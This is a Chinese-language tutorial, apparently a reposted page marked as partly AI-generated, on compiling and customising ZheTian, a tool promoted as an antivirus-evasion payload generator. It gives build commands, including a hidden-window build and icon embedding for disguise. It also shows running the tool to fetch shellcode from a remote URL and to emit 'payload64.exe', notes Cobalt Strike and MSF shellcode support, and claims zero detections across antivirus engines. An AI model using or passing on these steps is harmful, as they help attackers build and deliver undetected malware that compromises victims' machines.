ZheTian编译与定制教程:从源码到可执行文件的完整流程
【免费下载链接】ZheTian::ZheTian / 强大的免杀生成工具,Bypass All.项目地址: https://gitcode.com/gh_mirrors/zh/ZheTian
ZheTian是一款强大的免杀生成工具,支持从源码编译到可执行文件的完整流程,帮助用户轻松实现Bypass All的安全需求。本文将详细介绍ZheTian的编译环境准备、不同版本编译步骤以及定制化配置方法,让新手也能快速掌握从源码到可执行文件的全过程。
一、编译环境准备
1.1 安装Go语言环境
ZheTian使用Go语言开发,首先需要安装Go环境。建议安装Go 1.16及以上版本,可通过官方网站下载对应操作系统的安装包进行安装。安装完成后,通过go version命令验证安装是否成功。
1.2 克隆项目源码
使用以下命令克隆ZheTian项目源码到本地:
git clone https://gitcode.com/gh_mirrors/zh/ZheTian二、ZheTian各版本编译步骤
2.1 V1版本编译
进入V1版本目录:
cd ZheTian/v1执行编译命令:
go build -ldflags "-w -s" -o ZheTian.exe若需要实现无窗口运行,可使用以下命令:
go build -ldflags "-w -s -H windowsgui" -o ZheTian.exeZheTian V1版本命令行界面展示,包含多种参数选项
2.2 V2版本编译
进入V2版本目录:
cd ZheTian/v2V2版本支持Cobalt Strike、MSF原生Shellcode,编译命令与V1类似:
go build -ldflags "-w -s" -o ZheTian.exeZheTian V2版本运行效果,显示成功生成可执行程序
三、带图标编译方法
3.1 准备资源文件
确保V1或V2目录下存在ZheTian.manifest和favicon.ico文件。
3.2 安装rsrc工具
执行以下命令安装rsrc工具:
go get github.com/akavel/rsrc3.3 生成syso文件
运行以下命令生成资源文件:
rsrc -manifest ZheTian.manifest -ico favicon.ico -o ZheTian.syso3.4 编译带图标程序
再次执行编译命令,生成带有图标的可执行文件:
go build -ldflags "-w -s" -o ZheTian.exe四、定制化配置
4.1 代码修改
ZheTian的核心代码位于对应版本的目录中,如V1版本的v1/server/目录下包含多个功能模块。用户可根据需求修改代码,实现个性化功能。ZheTian代码示例,展示ShellCode处理相关代码
4.2 参数定制
编译完成后,可通过命令行参数定制ZheTian的运行行为。例如,V1版本支持从远程服务器加载ShellCode:
ZheTian.exe -u http://example.com/shellcode.txtV2版本支持选择系统架构生成可执行程序:
ZheTian -m 64 -o payload64.exe五、免杀效果测试
ZheTian编译生成的可执行文件具有良好的免杀效果,可通过多种杀毒软件检测。下图展示了V2版本的检测结果:ZheTian V2版本在多引擎检测中实现0检出
六、总结
通过本文的教程,你已经掌握了ZheTian从源码到可执行文件的完整编译流程,包括环境准备、各版本编译步骤、带图标编译以及定制化配置方法。ZheTian作为一款强大的免杀生成工具,为安全研究人员提供了便捷的解决方案。后续可关注项目的更新,体验更多新功能。
【免费下载链接】ZheTian::ZheTian / 强大的免杀生成工具,Bypass All.项目地址: https://gitcode.com/gh_mirrors/zh/ZheTian
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考